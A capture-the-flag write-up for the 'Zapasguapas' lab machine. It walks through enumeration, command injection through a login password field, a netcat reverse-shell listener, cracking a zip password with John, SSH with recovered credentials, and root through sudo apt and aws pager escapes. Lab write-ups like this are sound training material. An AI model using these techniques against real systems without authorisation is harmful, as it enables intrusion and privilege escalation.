TheHackersLabs — https://thehackerslabs.com/

  • Platform: TheHackersLabs
  • OS: Linux
  • Difficulty: Easy

Enumeration

Scan

22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 7e:42:d0:d4:c9:36:f4:f8:e6:77:c2:c6:7e:25:dc:ff (ECDSA)
|_  256 6f:a0:50:44:9f:a2:fb:99:40:f3:90:af:56:cc:34:e3 (ED25519)

80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Zapasguapas

SSH (22)

  • Password base authentication
❯ ssh root@192.168.66.178
The authenticity of host '192.168.66.178 (192.168.66.178)' can't be established.
ED25519 key fingerprint is: SHA256:anWz9eEaTk4hI9Cn5nHeYg/yvQJE6szOEXzIsjaYQIs
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.66.178' (ED25519) to the list of known hosts.
root@192.168.66.178's password:

HTTP (80)

Index

  • Looks like a simple online store
  • E-mail shows a posible virtual hosting
info@zapasguapas.thl

Initial Enumeration

login.html           (Status: 200) [Size: 2090]
bin                  (Status: 301) [Size: 314] [--> http://192.168.66.178/bin/]
css                  (Status: 301) [Size: 314] [--> http://192.168.66.178/css/]
lib                  (Status: 301) [Size: 314] [--> http://192.168.66.178/lib/]
about.html           (Status: 200) [Size: 8764]
contact.html         (Status: 200) [Size: 7694]
js                   (Status: 301) [Size: 313] [--> http://192.168.66.178/js/]
include              (Status: 301) [Size: 318] [--> http://192.168.66.178/include/]
images               (Status: 301) [Size: 317] [--> http://192.168.66.178/images/]
index.html           (Status: 200) [Size: 14085]
javascript           (Status: 301) [Size: 321] [--> http://192.168.66.178/javascript/]
testimonial.html     (Status: 200) [Size: 8587]
nike.php             (Status: 200) [Size: 2362]
server-status        (Status: 403) [Size: 279]
  • Directory listing enable for:
http://192.168.66.178/bin/
http://192.168.66.178/css/
http://192.168.66.178/lib/
http://192.168.66.178/js/
http://192.168.66.178/include/
http://192.168.66.178/images/

login.html

  • Login form

image


  • Form HTML code
<form id="loginForm" class="login-form">
    <div class="form-group">
        <label for="username">Usuario:</label>
        <input type="text" id="username" name="username" required>
    </div>
    <div class="form-group">
        <label for="password">Contraseña:</label>
        <input type="password" id="password" name="password" required>
    </div>
    <button type="submit">Iniciar Sesión</button>
</form>
  • javascript for submit button
<script>
    document.getElementById("loginForm").addEventListener("submit", function(event) {
        event.preventDefault(); // Evitar que el formulario se envíe de forma predeterminada

        var username = document.getElementById("username").value;
        var password = document.getElementById("password").value;

        // Ejecutar el comando proporcionado como contraseña
        var xhr = new XMLHttpRequest();
        xhr.onreadystatechange = function() {
            if (xhr.readyState == 4 && xhr.status == 200) {
                document.getElementById("result").innerHTML = xhr.responseText; // Mostrar el resultado en el div result
            }
        };
        xhr.open("GET", "run_command.php?username=" + encodeURIComponent(username) + "&password=" + encodeURIComponent(password), true);
        xhr.send();
        
        // Limpiar los campos después de mostrar el mensaje de alerta
        document.getElementById("username").value = "";
        document.getElementById("password").value = "";
    });
</script>

Interesting comment


// Ejecutar el comando proporcionado como contraseña
  • This could mean:

Testing password parameter

  • Password works as command

image

Exploitation

Reverse Shell

  • Request (BurpSuite)

image

  • Reverse Shell as www-data
❯ nc -nvlp 1337
listening on [any] 1337 ...
connect to [192.168.66.130] from (UNKNOWN) [192.168.66.178] 58198
bash: cannot set terminal process group (599): Inappropriate ioctl for device
bash: no job control in this shell
www-data@zapasguapas:/var/www/tienda$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@zapasguapas:/var/www/tienda$ 

Post-Exploitation

Users with a Shell

root:x:0:0:root:/root:/bin/bash
test:x:1000:1000:test,,,:/home/test:/bin/bash
proadidas:x:1001:1001::/home/proadidas:/bin/bash
pronike:x:1002:1002::/home/pronike:/bin/bash

Users Home content

/home/proadidas:
total 32
drwxr-xr-x 3 proadidas proadidas 4096 Apr 23  2024 .
drwxr-xr-x 4 root      root      4096 Apr 23  2024 ..
lrwxrwxrwx 1 root      root         9 Apr 23  2024 .bash_history -> /dev/null
-rw-r--r-- 1 proadidas proadidas  220 Apr 23  2023 .bash_logout
-rw-r--r-- 1 proadidas proadidas 3526 Apr 23  2023 .bashrc
-rw------- 1 proadidas proadidas   20 Apr 22  2024 .lesshst
drwxr-xr-x 3 proadidas proadidas 4096 Apr 23  2024 .local
-rw-r--r-- 1 proadidas proadidas  807 Apr 23  2023 .profile
-r-------- 1 root      root        33 Apr 17  2024 user.txt


/home/pronike:
total 28
drwxr-xr-x 3 pronike pronike 4096 Apr 23  2024 .
drwxr-xr-x 4 root    root    4096 Apr 23  2024 ..
lrwxrwxrwx 1 root    root       9 Apr 23  2024 .bash_history -> /dev/null
-rw-r--r-- 1 pronike pronike  220 Apr 23  2023 .bash_logout
-rw-r--r-- 1 pronike pronike 3526 Apr 23  2023 .bashrc
drwxr-xr-x 3 pronike pronike 4096 Apr 22  2024 .local
-rw-r--r-- 1 pronike pronike  807 Apr 23  2023 .profile
-rw-r--r-- 1 pronike pronike   58 Apr 23  2024 nota.txt

Looking for interesting files

www-data@zapasguapas:/$ cat /home/pronike/nota.txt
Creo que proadidas esta detras del robo de mi contraseña

www-data@zapasguapas:/$ ls -lRa /opt
/opt:
total 12
drwxr-xr-x  2 root      root      4096 Apr 23  2024 .
drwxr-xr-x 18 root      root      4096 Apr 15  2024 ..
-rw-r--r--  1 proadidas proadidas  266 Apr 23  2024 importante.zip

importante.zip

  • .zip requires a password
www-data@zapasguapas:/opt$ unzip importante.zip 
Archive:  importante.zip
[importante.zip] password.txt password: 
  • Cracking the password in attacker machine
❯ zip2john importante.zip > hash
ver 2.0 efh 5455 efh 7875 importante.zip/password.txt PKZIP Encr: TS_chk, cmplen=76, decmplen=71, crc=9CB8F6B5 ts=4C4E cs=4c4e type=8
❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hotstuff         (importante.zip/password.txt)
  • Content
❯ cat password.txt
He conseguido la contraseña de pronike. Adidas FOREVER!!!!

pronike11

SSH Access (as pronike)

Credentials

pronike:pronike11

Access Granted

❯ ssh pronike@192.168.66.178
pronike@192.168.66.178's password: 
Linux zapasguapas 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
pronike@zapasguapas:~$ id
uid=1002(pronike) gid=1002(pronike) grupos=1002(pronike)

SUDO Permissions (pronike)

pronike@zapasguapas:~$ sudo -l
Matching Defaults entries for pronike on zapasguapas:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User pronike may run the following commands on zapasguapas:
    (proadidas) NOPASSWD: /usr/bin/apt
  • apt allows privesc. Reference:
  • Shell options seems not to work, Inherit does

image


image


image

Privesc to proadidas

pronike@zapasguapas:/tmp$ sudo -u proadidas /usr/bin/apt changelog apt
Des:1 https://metadata.ftp-master.debian.org apt 2.6.1 Changelog [505 kB]
Descargados 505 kB en 0s (1.254 kB/s)
$ id
uid=1001(proadidas) gid=1001(proadidas) grupos=1001(proadidas)

SUDO Permissions (proadidas)

proadidas@zapasguapas:~$ sudo -l
Matching Defaults entries for proadidas on zapasguapas:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User proadidas may run the following commands on zapasguapas:
    (proadidas) NOPASSWD: /usr/bin/apt
    (root) NOPASSWD: /usr/bin/aws

AWS (SUDO) allows Privesc

  • Reference

image

Privesc to root

proadidas@zapasguapas:~$ sudo /usr/bin/aws help

# While less is running to show help content
# we can execute !/bin/bash

root@zapasguapas:/home/proadidas# id
uid=0(root) gid=0(root) grupos=0(root)

0 items under this folder.